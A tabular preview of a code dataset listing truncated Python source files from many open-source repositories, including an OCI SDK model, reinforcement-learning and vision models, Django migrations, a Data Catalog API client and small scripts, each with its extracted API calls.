repo_name stringlengths 7 94 | repo_path stringlengths 4 237 | repo_head_hexsha stringlengths 40 40 | content stringlengths 10 680k | apis stringlengths 2 680k |
|---|---|---|---|---|
Manny27nyc/oci-python-sdk | src/oci/log_analytics/models/log_analytics_association.py | de60b04e07a99826254f7255e992f41772902df7 | # coding: utf-8
# Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | [((18491, 18516), 'oci.util.formatted_flat_dict', 'formatted_flat_dict', (['self'], {}), '(self)\n', (18510, 18516), False, 'from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel\n'), ((12440, 12509), 'oci.util.value_allowed_none_or_none_sentinel', 'value_allowed_none_or_none_sent... |
zishanqin/Symbolic-transfer | symblic_game/NEW_GAME.py | b553f188ad3f6c6492fcff556ac6f597e56cf43e | 'Author: Aimore Resende Riquetti Dutra'
'''email: aimorerrd@hotmail.com'''
# -------------------------------------------------------------------------------------------------- #
# This code can run 4 different models of Reinforcement Learning:
# Q-Learning (QL), DQN, SRL (DSRL), SRL+CS(DSRL_object_near) and some ot... | [((1761, 1803), 'pandas.set_option', 'pd.set_option', (['"""display.max_columns"""', 'None'], {}), "('display.max_columns', None)\n", (1774, 1803), True, 'import pandas as pd\n'), ((1805, 1848), 'pandas.set_option', 'pd.set_option', (['"""display.large_repr"""', '"""info"""'], {}), "('display.large_repr', 'info')\n", (... |
davidemarelli/sfm_flow | utils/scene_bounding_box.py | 7a96d8309cc01b8499347ba0cae882923d82bbcc |
import logging
from typing import Tuple
import bpy
from mathutils import Vector
from .object import get_objs
logger = logging.getLogger(__name__)
class SceneBoundingBox():
"""Scene bounding box, build a bounding box that includes all objects except the excluded ones."""
##################################... | [((122, 149), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (139, 149), False, 'import logging\n'), ((1280, 1332), 'mathutils.Vector', 'Vector', (['(self.center[0], self.center[1], self.z_min)'], {}), '((self.center[0], self.center[1], self.z_min))\n', (1286, 1332), False, 'from mathutil... |
funtion/tensor2tensor | tensor2tensor/trax/rlax/ppo.py | 339295a276c4bfc93894c474979d0620d14b9710 | # coding=utf-8
# Copyright 2019 The Tensor2Tensor Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | [((20220, 20263), 'functools.partial', 'functools.partial', (['jit'], {'static_argnums': '(3,)'}), '(jit, static_argnums=(3,))\n', (20237, 20263), False, 'import functools\n'), ((21315, 21363), 'functools.partial', 'functools.partial', (['jit'], {'static_argnums': '(2, 3, 4)'}), '(jit, static_argnums=(2, 3, 4))\n', (21... |
SudoRmFr/The-Nature-Conservancy-Fisheries-Monitoring | models/cal.py | 059f0063c1493c19b4f45fa27d13adaeb6b2b2d7 | """
WS-DAN models
Hu et al.,
"See Better Before Looking Closer: Weakly Supervised Data Augmentation Network for Fine-Grained Visual Classification",
arXiv:1901.09891
"""
import logging
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import models.resnet as resnet
from models.incep... | [((564, 600), 'torch.nn.init.normal_', 'nn.init.normal_', (['m.weight'], {'std': '(0.001)'}), '(m.weight, std=0.001)\n', (579, 600), True, 'import torch.nn as nn\n'), ((777, 831), 'torch.nn.init.kaiming_normal_', 'nn.init.kaiming_normal_', (['m.weight'], {'a': '(0)', 'mode': '"""fan_out"""'}), "(m.weight, a=0, mode='fa... |
noabauma/Mirheo | tests/walls/analytic/plates.py | bf7979bfbbf402d33c26ac5dc879f880e78e7017 | #!/usr/bin/env python
import mirheo as mir
dt = 0.001
ranks = (1, 1, 1)
domain = (8, 16, 8)
force = (1.0, 0, 0)
density = 4
u = mir.Mirheo(ranks, domain, dt, debug_level=3, log_filename='log', no_splash=True)
pv = mir.ParticleVectors.ParticleVector('pv', mass = 1)
ic = mir.InitialConditions.Uniform(number_densit... | [((134, 219), 'mirheo.Mirheo', 'mir.Mirheo', (['ranks', 'domain', 'dt'], {'debug_level': '(3)', 'log_filename': '"""log"""', 'no_splash': '(True)'}), "(ranks, domain, dt, debug_level=3, log_filename='log', no_splash=True\n )\n", (144, 219), True, 'import mirheo as mir\n'), ((221, 269), 'mirheo.ParticleVectors.Partic... |
XueAlfred/MALAnalysis | scraper-code/myanimelist/base.py | 630d578b30f7540769774e1e4ee072d9775bf4bf | #!/usr/bin/python
# -*- coding: utf-8 -*-
import abc
import bs4
import functools
import utilities
class Error(Exception):
"""Base exception class that takes a message to display upon raising.
"""
def __init__(self, message=None):
"""Creates an instance of Error.
:type message: str
:param message: A... | [((1855, 1876), 'functools.wraps', 'functools.wraps', (['func'], {}), '(func)\n', (1870, 1876), False, 'import functools\n')] |
BeryJu/p2 | p2/core/http.py | 80b5c6a821f90cef73d6e8cd3c6cdb05ffa86b27 | """p2 core http responses"""
from wsgiref.util import FileWrapper
from django.http import StreamingHttpResponse
from p2.core.constants import ATTR_BLOB_MIME, ATTR_BLOB_SIZE_BYTES
from p2.core.models import Blob
class BlobResponse(StreamingHttpResponse):
"""Directly return blob's content. Optionally return as at... | [((434, 463), 'wsgiref.util.FileWrapper', 'FileWrapper', (['blob', 'chunk_size'], {}), '(blob, chunk_size)\n', (445, 463), False, 'from wsgiref.util import FileWrapper\n')] |
callat-qcd/lattedb | lattedb/project/formfac/migrations/0009_auto_20200528_0907.py | 75c06748f3d59332a84ec1b5794c215c5974a46f | # Generated by Django 3.0.6 on 2020-05-28 09:07
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('project_formfac', '0008_... | [((227, 284), 'django.db.migrations.swappable_dependency', 'migrations.swappable_dependency', (['settings.AUTH_USER_MODEL'], {}), '(settings.AUTH_USER_MODEL)\n', (258, 284), False, 'from django.db import migrations, models\n'), ((497, 732), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'blank': '(True)', 'h... |
mmstoll/Ocean569_Code | SIO_Code/SIO_coherence.py | 228cb719f3e82f187f704f343d3b3590a38236d7 | """
Data: Temperature and Salinity time series from SIO Scripps Pier
Salinity: measured in PSU at the surface (~0.5m) and at depth (~5m)
Temp: measured in degrees C at the surface (~0.5m) and at depth (~5m)
- Timestamp included beginning in 1990
"""
# imports
import sys,os
import pandas as pd
import numpy as... | [((482, 497), 'importlib.reload', 'reload', (['SIO_mod'], {}), '(SIO_mod)\n', (488, 497), False, 'from importlib import reload\n'), ((539, 661), 'pandas.read_csv', 'pd.read_csv', (['"""/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/SIO_SALT_1916-201905.txt"""'], {'sep': '"""\t"""', 'skiprows': '(27)'}), "(\n '/Us... |
rcdilorenzo/abfs | abfs/group_data_split.py | a897d00a4589a9412a9b9e737f8db91df008fc26 | from collections import namedtuple as Struct
from sklearn.model_selection import GroupShuffleSplit, ShuffleSplit
DataSplitConfig = Struct('DataSplitConfig', ['validation_size', 'test_size', 'random_seed'])
DEFAULT_SPLIT_CONFIG = DataSplitConfig(0.2, 0.2, 1337)
class GroupDataSplit():
def __init__(self, df, key, ... | [((132, 206), 'collections.namedtuple', 'Struct', (['"""DataSplitConfig"""', "['validation_size', 'test_size', 'random_seed']"], {}), "('DataSplitConfig', ['validation_size', 'test_size', 'random_seed'])\n", (138, 206), True, 'from collections import namedtuple as Struct\n'), ((951, 1044), 'sklearn.model_selection.Grou... |
YuxinZou/mmclassification | mmcls/models/utils/se_layer.py | 2037260ea6c98a3b115e97727e1151a1c2c32f7a | # Copyright (c) OpenMMLab. All rights reserved.
import mmcv
import torch.nn as nn
from mmcv.cnn import ConvModule
from mmcv.runner import BaseModule
from .make_divisible import make_divisible
class SELayer(BaseModule):
"""Squeeze-and-Excitation Module.
Args:
channels (int): The input (and output) ch... | [((1959, 1990), 'mmcv.is_tuple_of', 'mmcv.is_tuple_of', (['act_cfg', 'dict'], {}), '(act_cfg, dict)\n', (1975, 1990), False, 'import mmcv\n'), ((2021, 2044), 'torch.nn.AdaptiveAvgPool2d', 'nn.AdaptiveAvgPool2d', (['(1)'], {}), '(1)\n', (2041, 2044), True, 'import torch.nn as nn\n'), ((2373, 2516), 'mmcv.cnn.ConvModule'... |
James19stack/instagram-copy_cat | instagram/admin.py | 996a8678cec84a05e97d803356194cd112ee53e6 | from django.contrib import admin
from .models import Images,Comments,Profile
# Register your models here.
class CommentInline(admin.TabularInline):
model=Comments
extra=3
class ImageInline(admin.ModelAdmin):
fieldsets=[
(None,{'fields':['image']}),
(None,{'fields':['image_name']}),
... | [((535, 575), 'django.contrib.admin.site.register', 'admin.site.register', (['Images', 'ImageInline'], {}), '(Images, ImageInline)\n', (554, 575), False, 'from django.contrib import admin\n'), ((575, 603), 'django.contrib.admin.site.register', 'admin.site.register', (['Profile'], {}), '(Profile)\n', (594, 603), False, ... |
pereradrian/mandelbruh | mandelbruh/util.py | fb68c5f2af84d51097e73f3a248e3a1b95fbbf47 | import numpy as np
def normalize(x):
return x / np.linalg.norm(x)
def norm_sq(v):
return np.dot(v,v)
def norm(v):
return np.linalg.norm(v)
def get_sub_keys(v):
if type(v) is not tuple and type(v) is not list:
return []
return [k for k in v if type(k) is str]
def to_vec3(v):
if isinstance(v, (float, int)):
... | [((93, 105), 'numpy.dot', 'np.dot', (['v', 'v'], {}), '(v, v)\n', (99, 105), True, 'import numpy as np\n'), ((127, 144), 'numpy.linalg.norm', 'np.linalg.norm', (['v'], {}), '(v)\n', (141, 144), True, 'import numpy as np\n'), ((50, 67), 'numpy.linalg.norm', 'np.linalg.norm', (['x'], {}), '(x)\n', (64, 67), True, 'import... |
awen1988/yry | core/recognizer.py | b65ccd7062d60f605fc978a87e060d0015cf1d4c | """
recognize face landmark
"""
import json
import os
import requests
import numpy as np
FACE_POINTS = list(range(0, 83))
JAW_POINTS = list(range(0, 19))
LEFT_EYE_POINTS = list(range(19, 29))
LEFT_BROW_POINTS = list(range(29, 37))
MOUTH_POINTS = list(range(37, 55))
NOSE_POINTS = list(range(55, 65))
RIGHT_EYE_POINTS =... | [((676, 695), 'os.path.isfile', 'os.path.isfile', (['txt'], {}), '(txt)\n', (690, 695), False, 'import os\n'), ((1573, 1620), 'requests.post', 'requests.post', ([], {'url': 'url', 'files': 'file', 'data': 'params'}), '(url=url, files=file, data=params)\n', (1586, 1620), False, 'import requests\n'), ((798, 819), 'os.pat... |
rafidmorshedi/mag-dec-api | magvar.py | 5daff929be8cad902f8db331090c0ed77f7bdef9 | import requests
import time
from bs4 import BeautifulSoup
import re
def decdeg2dms(dd):
negative = dd < 0
dd = abs(dd)
minutes,seconds = divmod(dd*3600,60)
degrees,minutes = divmod(minutes,60)
if negative:
if degrees > 0:
degrees = -degrees
elif minutes > 0:
... | [((1154, 1167), 'time.sleep', 'time.sleep', (['(1)'], {}), '(1)\n', (1164, 1167), False, 'import time\n'), ((1177, 1210), 'requests.get', 'requests.get', (['url'], {'params': 'payload'}), '(url, params=payload)\n', (1189, 1210), False, 'import requests\n'), ((1277, 1308), 'bs4.BeautifulSoup', 'BeautifulSoup', (['c', '"... |
bopopescu/Social-Lite | google-cloud-sdk/lib/googlecloudsdk/third_party/apis/datacatalog/v1beta1/datacatalog_v1beta1_messages.py | ee05d6a7431c36ff582c8d6b58bb20a8c5f550bf | """Generated message classes for datacatalog version v1beta1.
A fully managed and highly scalable data discovery and metadata management
service.
"""
# NOTE: This file is autogenerated and should not be edited by hand.
from apitools.base.protorpclite import messages as _messages
from apitools.base.py import encoding
... | [((80828, 80914), 'apitools.base.py.encoding.AddCustomJsonFieldMapping', 'encoding.AddCustomJsonFieldMapping', (['StandardQueryParameters', '"""f__xgafv"""', '"""$.xgafv"""'], {}), "(StandardQueryParameters, 'f__xgafv',\n '$.xgafv')\n", (80862, 80914), False, 'from apitools.base.py import encoding\n'), ((80916, 8101... |
mgovoni-devel/MatD3 | materials/migrations/0072_auto_20190422_1708.py | 5b68d147f886bce427f92bb560159e62cec2d4e7 | # Generated by Django 2.1.7 on 2019-04-22 21:08
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('materials', '0071_auto_20190416_1557'),
]
operations = [
migrations.RemoveField(
model_name='atomicpositions',
name='idinfo_... | [((229, 300), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""atomicpositions"""', 'name': '"""idinfo_ptr"""'}), "(model_name='atomicpositions', name='idinfo_ptr')\n", (251, 300), False, 'from django.db import migrations\n'), ((345, 422), 'django.db.migrations.RemoveField', 'migrat... |
sadbb/CVCode | Deep-Learning/Crowd-Count/src/data_preprocess.py | c7c8b527af786d8f113122231e6296987b242b59 | # -*- coding:utf-8 -*-
# ------------------------
# written by Songjian Chen
# 2018-10
# ------------------------
import os
import skimage.io
from skimage.color import rgb2gray
import skimage.transform
from scipy.io import loadmat
import numpy as np
import cv2
import math
import warnings
import random
import torch
imp... | [((349, 382), 'warnings.filterwarnings', 'warnings.filterwarnings', (['"""ignore"""'], {}), "('ignore')\n", (372, 382), False, 'import warnings\n'), ((441, 462), 'numpy.zeros', 'np.zeros', (['image.shape'], {}), '(image.shape)\n', (449, 462), True, 'import numpy as np\n'), ((1512, 1545), 'os.path.join', 'os.path.join',... |
satyamraj123/set-of-python-programs | for1.py | c9a20b37cddc555704799e5ff277488b7eff58a9 | fruit='banana'
x=len(fruit)
print(x) | [] |
samir321-pixel/Django_Intershala | Django_Intershala/recruiter/migrations/0004_auto_20210305_1551.py | 77aaa24a34873dab4c3302727d5f43986a99809e | # Generated by Django 3.1.7 on 2021-03-05 10:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('recruiter', '0003_auto_20210304_2132'),
]
operations = [
migrations.RemoveField(
model_name='recruiter',
name='middl... | [((237, 303), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""recruiter"""', 'name': '"""middle_Name"""'}), "(model_name='recruiter', name='middle_Name')\n", (259, 303), False, 'from django.db import migrations, models\n'), ((456, 499), 'django.db.models.CharField', 'models.CharFie... |
halhenke/promnesia | src/promnesia/sources/telegram.py | 03f46b7e0740790ef091e6f48d0ac2e6bf05bcb7 | '''
Uses [[https://github.com/fabianonline/telegram_backup#readme][telegram_backup]] database for messages data
'''
from pathlib import Path
from textwrap import dedent
from typing import Optional, Union, TypeVar
from urllib.parse import unquote # TODO mm, make it easier to rememember to use...
from ..common import P... | [((458, 470), 'typing.TypeVar', 'TypeVar', (['"""T"""'], {}), "('T')\n", (465, 470), False, 'from typing import Optional, Union, TypeVar\n'), ((869, 934), 'dataset.connect', 'dataset.connect', (['"""sqlite:///"""'], {'engine_kwargs': "{'creator': creator}"}), "('sqlite:///', engine_kwargs={'creator': creator})\n", (884... |
duaneellissd/shellmacros | shellmacros/istr.py | 33b5cd1a8794e35a9540f78dca066b8dfc289c97 | '''
Created on Dec 27, 2019
@author: duane
'''
DOLLAR = ord('$')
LBRACE = ord('{')
RBRACE = ord('}')
LPAREN = ord('(')
RPAREN = ord(')')
class IStrFindResult(object):
OK = 0
NOTFOUND = 1
SYNTAX = 2
def __init__(self):
self.result = IStrFindResult.SYNTAX
self.lhs = 0
self.rh... | [] |
checktheroads/deenis | cli.py | 2581e2fcbb08a9c85590bd54e109f24cc87b664f | #!/usr/bin/env python3
"""
CLI for Accessing Deenis
"""
# Standard Imports
import sys
from pathlib import Path
# Module Imports
import click
# Path Fixes
working_dir = Path(__file__).resolve().parent
sys.path.append(str(working_dir))
# Project Imports
from deenis import Deenis
@click.group(
help=(
"Deen... | [((283, 532), 'click.group', 'click.group', ([], {'help': '"""Deenis can be used to group and automate boring DNS tasks. For example, `host` can take a hostname, IPv4 Address, and IPv6 Address, and create forward A & AAAA, and reverse PTR records (4 actions) with a single command."""'}), "(help=\n 'Deenis can be use... |
spiolynn/pybo | main_cl.py | 186495de315eb8ec47a996de959574f9864da7c4 | # coding: utf-8
from bigone import BigOneDog
from common import gen_logger
import logging
import time
import json
def strategy_eth_big_bnc_eth(dog):
"""
正向:买BIG/ETH -> 卖BIG/BNC -> 买ETH/BNC
反向:卖ETH/BNC -> 买BIG/BNC -> 卖BIG/ETH
:param dog: implemention of BigOneDog
:return: 正向收益率,反向收益率
"""
... | [((4131, 4155), 'common.gen_logger', 'gen_logger', (['"""bigonetest"""'], {}), "('bigonetest')\n", (4141, 4155), False, 'from common import gen_logger\n'), ((4169, 4196), 'logging.getLogger', 'logging.getLogger', (['"""bigone"""'], {}), "('bigone')\n", (4186, 4196), False, 'import logging\n'), ((4294, 4316), 'bigone.Bi... |
gahaalt/cifar-vs-tensorflow2 | run_experiments.py | 547d131382438ef76e315dde06a6870737f1fbad | import os
import yaml
import logging
import importlib
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
logging.getLogger('tensorflow').disabled = True
from cifar_training_tools import cifar_training, cifar_error_test
def print_dict(d, tabs=0):
tab = '\t'
for key in d:
if type(d[key]) == dict:
pri... | [((578, 604), 'yaml.safe_load_all', 'yaml.safe_load_all', (['stream'], {}), '(stream)\n', (596, 604), False, 'import yaml\n'), ((966, 992), 'yaml.safe_load_all', 'yaml.safe_load_all', (['stream'], {}), '(stream)\n', (984, 992), False, 'import yaml\n'), ((96, 127), 'logging.getLogger', 'logging.getLogger', (['"""tensorf... |
cristicalin/tools | json2yaml.py | b8fe4efb1143a575d102d3a8e368052a4ecdceae | #!/usr/bin/python
import sys
import yaml
import json
if __name__ == '__main__':
content = json.load(sys.stdin)
print yaml.dump(content, indent=2, default_flow_style=False)
| [] |
UpSea/midProjects | histdata/mt5db/script_DownloadAndStoreToMongodb.py | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | # -*- coding: utf-8 -*-
import os,sys
from PyQt4 import QtGui,QtCore
dataRoot = os.path.abspath(os.path.join(os.path.dirname(__file__),os.pardir,os.pardir,'histdata'))
sys.path.append(dataRoot)
import dataCenter as dataCenter
from data.mongodb.DataSourceMongodb import Mongodb
import datetime as dt
... | [((177, 202), 'sys.path.append', 'sys.path.append', (['dataRoot'], {}), '(dataRoot)\n', (192, 202), False, 'import os, sys\n'), ((629, 652), 'dataCenter.dataCenter', 'dataCenter.dataCenter', ([], {}), '()\n', (650, 652), True, 'import dataCenter as dataCenter\n'), ((762, 787), 'datetime.datetime', 'dt.datetime', (['(20... |
ermshaua/daproli | daproli/transformer.py | c1f7aeec431d9c60ae06eeac23455c1a03bc82cf | from joblib import Parallel, delayed
from tqdm import tqdm
from .processing import map, filter, split, expand, combine, join
from .manipulation import windowed, flatten
class BaseTransformer:
'''
The BaseTransformer defines a generic data transformation pattern that
can be implemented with a number of da... | [((10063, 10112), 'tqdm.tqdm', 'tqdm', (['self.transformers'], {'disable': '(self.verbose < 1)'}), '(self.transformers, disable=self.verbose < 1)\n', (10067, 10112), False, 'from tqdm import tqdm\n'), ((9360, 9425), 'joblib.Parallel', 'Parallel', ([], {'n_jobs': 'self.n_jobs', 'verbose': 'self.verbose'}), '(n_jobs=self... |
LorranSutter/URI-Online-Judge | Ad-Hoc/2454.py | aef885b9a7caa83484cf172e29eea8ec92fc3627 | P, R = input().split()
if P == '0': print('C')
elif R == '0': print('B')
else: print('A') | [] |
brunotoshio/castella | main.py | ad418bd1beb4953687a4ad7be586b12631c25992 | import pymongo
import yaml
import sched
import time
import json
from castella import TweetCrawler
class Castella(object):
def __init__(self):
# Get connection parameters
with open("settings.yml", "r") as stream:
try:
settings = yaml.safe_load(stream)["settings"]
... | [((1201, 1255), 'pymongo.MongoClient', 'pymongo.MongoClient', (['self.server_url', 'self.server_port'], {}), '(self.server_url, self.server_port)\n', (1220, 1255), False, 'import pymongo\n'), ((1994, 2008), 'castella.TweetCrawler', 'TweetCrawler', ([], {}), '()\n', (2006, 2008), False, 'from castella import TweetCrawle... |
monroid/openvino | ngraph/test/frontend/paddlepaddle/test_models/gen_scripts/generate_slice.py | 8272b3857ef5be0aaa8abbf7bd0d5d5615dc40b6 | #
# slice paddle model generator
#
import numpy as np
from save_model import saveModel
import paddle as pdpd
import sys
data_type = 'float32'
def slice(name : str, x, axes : list, start : list, end : list):
pdpd.enable_static()
with pdpd.static.program_guard(pdpd.static.Program(), pdpd.static.Program()):
... | [((213, 233), 'paddle.enable_static', 'pdpd.enable_static', ([], {}), '()\n', (231, 233), True, 'import paddle as pdpd\n'), ((334, 392), 'paddle.static.data', 'pdpd.static.data', ([], {'name': '"""x"""', 'shape': 'x.shape', 'dtype': 'data_type'}), "(name='x', shape=x.shape, dtype=data_type)\n", (350, 392), True, 'impor... |
h1r0mu/tacker | tacker/sol_refactored/common/vnf_instance_utils.py | 8c69dda51fcfe215c4878a86b82018d2b96e5561 | # Copyright (C) 2021 Nippon Telegraph and Telephone Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICE... | [((812, 839), 'oslo_log.log.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (829, 839), True, 'from oslo_log import log as logging\n'), ((911, 960), 'tacker.sol_refactored.objects.VnfInstanceV2.get_by_id', 'objects.VnfInstanceV2.get_by_id', (['context', 'inst_id'], {}), '(context, inst_id)\n', (942... |
cjw296/testfixtures | testfixtures/compat.py | 1bf1e6fe1e111210d6d7fbcd00feb564095ffd02 | # compatibility module for different python versions
import sys
if sys.version_info[:2] > (3, 0):
PY2 = False
PY3 = True
Bytes = bytes
Unicode = str
basestring = str
class_type_name = 'class'
ClassType = type
exception_module = 'builtins'
new_class = type
self_name = '__self_... | [] |
ofekashery/the-blue-alliance | old_py2/tests/models_tests/notifications/test_match_score.py | df0e47d054161fe742ac6198a6684247d0713279 | import re
import unittest2
from google.appengine.ext import ndb
from google.appengine.ext import testbed
from consts.notification_type import NotificationType
from helpers.event.event_test_creator import EventTestCreator
from models.team import Team
from models.notifications.match_score import MatchScoreNotification... | [((422, 439), 'google.appengine.ext.testbed.Testbed', 'testbed.Testbed', ([], {}), '()\n', (437, 439), False, 'from google.appengine.ext import testbed\n'), ((851, 888), 'helpers.event.event_test_creator.EventTestCreator.createPresentEvent', 'EventTestCreator.createPresentEvent', ([], {}), '()\n', (886, 888), False, 'f... |
jeanlucf22/mgmol | util/submission/templates.py | 4e79bc32c14c8a47ae18ad0659ea740719c8b77f | md_template_d144 = """verbosity=0
xcFunctional=PBE
FDtype=4th
[Mesh]
nx=160
ny=80
nz=80
[Domain]
ox=0.
oy=0.
oz=0.
lx=42.4813
ly=21.2406
lz=21.2406
[Potentials]
pseudopotential=pseudo.D_tm_pbe
[Poisson]
solver=@
max_steps_initial=@50
max_steps=@50
reset=@
bcx=periodic
bcy=periodic
bcz=periodic
[Run]
type=MD
[MD]
type=@... | [] |
martihmy/Compliant_control | Compliant_control/Force Tracking/archive/VIC_Huang1992_(main 09.03).py | 485f627fa83d59f414f41bd57c5d37528ef5f1ec | #! /usr/bin/env python
import copy
from copy import deepcopy
import rospy
import threading
import quaternion
import numpy as np
from geometry_msgs.msg import Point
from visualization_msgs.msg import *
from franka_interface import ArmInterface
from panda_robot import PandaArm
import matplotlib.pyplot as plt
from scipy.s... | [((353, 385), 'numpy.set_printoptions', 'np.set_printoptions', ([], {'precision': '(2)'}), '(precision=2)\n', (372, 385), True, 'import numpy as np\n'), ((2012, 2154), 'numpy.array', 'np.array', (['[[Kp, 0, 0, 0, 0, 0], [0, Kp, 0, 0, 0, 0], [0, 0, Kpz, 0, 0, 0], [0, 0, 0,\n Ko, 0, 0], [0, 0, 0, 0, Ko, 0], [0, 0, 0, ... |
intellineers/django-bridger | tests/migrations/0010_modeltest_datetime_field1.py | ed097984a99df7da40a4d01bd00c56e3c6083056 | # Generated by Django 2.2.9 on 2020-01-28 14:50
import django.utils.timezone
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("tests", "0009_auto_20200113_1239"),
]
operations = [
migrations.AddField(
model_name="modeltest",
... | [((373, 428), 'django.db.models.DateTimeField', 'models.DateTimeField', ([], {'default': 'django.utils.timezone.now'}), '(default=django.utils.timezone.now)\n', (393, 428), False, 'from django.db import migrations, models\n')] |
mdashkezari/pycmap | pycmap/common.py | 5b526404d005ec220ab0911cd2f3c05263f9eda3 | """
Author: Mohammad Dehghani Ashkezari <mdehghan@uw.edu>
Date: 2019-06-28
Function: Host a collection of shared multi-purpose helper functions.
"""
import os
import sys
from tqdm import tqdm
from colorama import Fore, Back, Style, init
import numpy as np
import pandas as pd
import webbrowser
import I... | [((497, 515), 'colorama.init', 'init', ([], {'convert': '(True)'}), '(convert=True)\n', (501, 515), False, 'from colorama import Fore, Back, Style, init\n'), ((617, 628), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (625, 628), False, 'import sys\n'), ((926, 961), 'tqdm.tqdm.write', 'tqdm.write', (['Style.RESET_ALL'... |
fknittel/git-retry-build | appengine/monorail/api/v3/api_proto/projects_pb2.py | 4d57dd6e8b7567daeb24b55f66bc5becd3d459f3 | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: api/v3/api_proto/projects.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
f... | [((430, 456), 'google.protobuf.symbol_database.Default', '_symbol_database.Default', ([], {}), '()\n', (454, 456), True, 'from google.protobuf import symbol_database as _symbol_database\n'), ((811, 3885), 'google.protobuf.descriptor.FileDescriptor', '_descriptor.FileDescriptor', ([], {'name': '"""api/v3/api_proto/proje... |
michaelwoods/home-assistant-cli | tests/test_device.py | 340643af943f36283621f39ac39a690b1fccc045 | """Testing Device operations."""
import json
import unittest.mock as mock
from click.testing import CliRunner
import homeassistant_cli.cli as cli
def test_device_list(default_devices) -> None:
"""Test Device List."""
with mock.patch(
'homeassistant_cli.remote.get_devices', return_value=default_devic... | [((234, 319), 'unittest.mock.patch', 'mock.patch', (['"""homeassistant_cli.remote.get_devices"""'], {'return_value': 'default_devices'}), "('homeassistant_cli.remote.get_devices', return_value=default_devices\n )\n", (244, 319), True, 'import unittest.mock as mock\n'), ((348, 359), 'click.testing.CliRunner', 'CliRun... |
tarsa129/j3d-animation-editor | widgets/tree_item.py | 3f0691bd7dcece6e2055a0b5af0510608f28f2ca | from PyQt5.QtWidgets import QAction, QTreeWidget, QTreeWidgetItem, QFileDialog
from PyQt5.QtGui import QIcon
from PyQt5.QtCore import Qt
import animations.general_animation as j3d
from widgets.yaz0 import compress, compress_slow, compress_fast
from io import BytesIO
class tree_item(QTreeWidgetItem):
def __init__(... | [((343, 387), 'PyQt5.QtWidgets.QTreeWidgetItem.__init__', 'QTreeWidgetItem.__init__', (['self', 'parent', '(1000)'], {}), '(self, parent, 1000)\n', (367, 387), False, 'from PyQt5.QtWidgets import QAction, QTreeWidget, QTreeWidgetItem, QFileDialog\n'), ((2637, 2669), 'animations.general_animation.fix_array', 'j3d.fix_ar... |
edhosken/WheelsSong | Wheels.py | cb988c8510a1095eeec3a2399b0fc0ba24bfa648 | #Create the pre-defined song values and empty variables...Correct names not used so each starting letter would be unique
numbers = (1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 )
letters = ['a ','b ','c ','d ','e ','f ','g ','h ','i ','j ','k ','l ','m ','n ','o ','p ','q ','r ']
roman = ['I ', 'II ... | [] |
dfroger/conda | tests/test_config.py | c0f99ff46b217d081501e66f4dcd7bcdb5d9c6aa | # (c) 2012-2014 Continuum Analytics, Inc. / http://continuum.io
# All Rights Reserved
#
# conda is distributed under the terms of the BSD 3-clause license.
# Consult LICENSE.txt or http://opensource.org/licenses/BSD-3-Clause.
import os
from os.path import dirname, join, exists
import unittest
import pytest
import con... | [((460, 470), 'conda.utils.get_yaml', 'get_yaml', ([], {}), '()\n', (468, 470), False, 'from conda.utils import get_yaml\n'), ((552, 569), 'os.path.dirname', 'dirname', (['__file__'], {}), '(__file__)\n', (559, 569), False, 'from os.path import dirname, join, exists\n'), ((4287, 4312), 'os.path.dirname', 'os.path.dirna... |
ahmed3991/malaya | malaya/transformers/babble.py | d90be6d5b2a1393a3f8b8b1ffa8ae676cdaa083c | # Bert has a Mouth, and It Must Speak: BERT as a Markov Random Field Language Model,
# by Alex Wang, Kyunghyun Cho, NeuralGen 2019
# https://colab.research.google.com/drive/1MxKZGtQ9SSBjTK5ArsZ5LKhkztzg52RV
# https://arxiv.org/abs/1902.04094
import tensorflow as tf
import tensorflow_probability as tfp
import numpy as ... | [((564, 592), 'tensorflow.convert_to_tensor', 'tf.convert_to_tensor', (['logits'], {}), '(logits)\n', (584, 592), True, 'import tensorflow as tf\n'), ((621, 649), 'tensorflow.nn.top_k', 'tf.nn.top_k', (['logits'], {'k': 'top_k'}), '(logits, k=top_k)\n', (632, 649), True, 'import tensorflow as tf\n'), ((667, 725), 'tens... |
mkoryor/Python | coding patterns/two pointers/sortedarr_square.py | 837ec4c03130dc4cb919fb5f1eeb4d31206790e4 |
"""
[E] Given a sorted array, create a new array containing squares of all the
number of the input array in the sorted order.
Input: [-2, -1, 0, 2, 3]
Output: [0, 1, 4, 4, 9]
"""
# Time: O(N) Space: O(n)
def make_squares(arr):
n = len(arr)
squares = [0 for x in range(n)]
highestSquareIdx = n - 1
left, r... | [] |
